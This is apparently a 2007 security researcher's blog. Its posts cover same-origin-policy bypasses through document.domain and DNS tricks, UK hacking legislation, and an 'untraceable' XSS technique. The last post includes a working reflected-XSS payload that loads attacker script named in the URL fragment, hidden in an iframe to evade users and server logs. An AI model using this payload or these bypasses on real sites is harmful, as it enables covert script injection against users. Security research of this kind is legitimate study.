Saturday, April 28, 2007

Creating sockets to sites which run Google Analytics javascript without Anti-DNS Pinning

This is a short post, but I thought this warranted its own post, so that the message is not lost.

One of the repercussions of this post: is that any site which references the document.location property (e.g. any site running Google Analytics javascript) can be referenced by any subdomain.

And top level domains do not have to have any relation to their subdomain, so a DNS setup where these resolutions occur: -> web server controlled by -> victim web server running Google Analytics (or other document.location referencing code)

Is possible. Now, since can communicate with [1] as par my last post it can easily just insert a java applet (or with Firefox, javascript which uses the Java libraries) into, which will be able to create sockets to the web server's IP.

Another way the DNS->IP resolution scheme of subdomains not needing to be related can be abused is by making resolve to the IP of a service like myspace, which has a "domain generalisation" scheme, which will set the document.domain property to the second level domain, and so will resolve to, and can then create sockets to

And while, at the present this is a fairly pointless attack since we can still use Anti-DNS Pinning attacks, those problems may be solved before this.

[1] Note that all these attacks will only work if the hosts accept wildcard hostnames, and so the google analytics code is returned even if the hostname is incorrect.

Friday, April 27, 2007

Breaking the same origin policy in an upwards direction (IE & Firefox Only)

To explain why this is meaningful, I'll first give a quick primer on the document.domain property:

The document.domain is by default set to the hostname which is used to access a site.

The document.domain property is not read-only. It can be truncated by however many levels you like, so a site on sub2.sub1.domain.tld could set the document.domain property to sub1.domain.tld or domain.tld or just tld[1]

To determine whether javascript is able to interact with another window the property is compared, if the property is identical then the two windows can communicate.

Finaly, there is an additional check whereby if the document.domain property has not been modified then a page where the property has been modified cannot communicate with it.

Firefox and IE do have this check, but it seems a bit more relaxed. If the upper level domain reads the document.location property this check is seemingly ignored.

Now, one might be tempted to shrug this off, but many tracking scripts, and Google Analytics tracking code references the document.location property, and so any site which runs the Google Analytics code is vulnerable to having lower level domains communicate with the unwittingly.

[1] The Firefox 3 nightly build does not allow anyone to set the property to tld, as per two patches from trev/Wladimir Palant:,10863

This isn't the post your looking for either

A few days ago prdelka post a blog post entitled "This isnt the post your looking for", you should read it, preferably before reading ny more of this post. He also deleted all his other blog postings, and removed all the papers and exploits, etc, which he had written from his server.

For a while security people have been saying that such legislation would be a bad idea because they, as well as anyone possibly malicious, could be prosecuted, but the law understands mitigating factors, and I doubt such a thing would happen.

What I am more interested in, is how many of the hobbyists which do a considerable part of the research into computer security will be affected. Will they, like prdelka, decide to take the cautious route, and remove all their writings, etc, from public view. Will they be driven more or less underground, where information is only shared among close friends, until it spreads to the hands of criminals, without surfacing to help IT security people. Or will they decide to ignore the laws will continue - only time will tell obviously, but does everyone think?

And if you're in Britain, how will this affect you?

Sunday, April 01, 2007

Untraceable XSS Attacks Version 2

I was thinking about the Adobe PDF UXSS issue that we encountered a few months ago, and remembered how much of a problem we had solving it because servers were not sent the URL fragments (the part after the #).

Now this got me thinking; the client can still read the portion of the URL after the # symbol.

So why not put the location of our logic after the URL fragment like so:

<meta http-equiv="refresh" content="0;<script>var source_loc = substr (document.location.lastIndexOf("#") + 1); var s = document.createElement ('script'); s.src=source_loc; document.body.appendChild(s);</script>#">

And then you just shove that in a iframe, or popup or whatever other technique you are using to make sure users don't notice they're being attacked, and you're done.

Looking at the actual exploit, you can see that what we end up doing is using a Reflected XSS hole to create a DOM Based XSS hole which is specifically untraceable.

And it seems like a much cleaner method than the last two posts to me.